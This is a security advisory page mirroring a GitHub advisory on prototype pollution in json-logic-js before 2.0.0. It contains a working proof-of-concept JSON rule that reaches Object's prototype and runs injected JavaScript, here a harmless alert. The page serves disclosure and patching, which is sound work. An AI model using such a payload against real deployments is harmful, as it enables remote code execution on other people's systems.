Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW05aHctN3hmdi13cWc3

Prototype Pollution in json-logic-js

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}

Permalink: https://github.com/advisories/GHSA-m9hw-7xfv-wqg7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW05aHctN3hmdi13cWc3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 3 years ago
Updated: over 1 year ago

Identifiers: GHSA-m9hw-7xfv-wqg7
References:

• https://github.com/jwadhams/json-logic-js/commit/fadfa5dc7ccd1cc5c9a1900a97a15af390bf642b
• https://www.npmjs.com/advisories/1542
• https://www.npmjs.com/package/json-logic-js
• https://github.com/advisories/GHSA-m9hw-7xfv-wqg7

Repository: https://github.com/jwadhams/json-logic-js
Blast Radius: 0.0

Affected Packages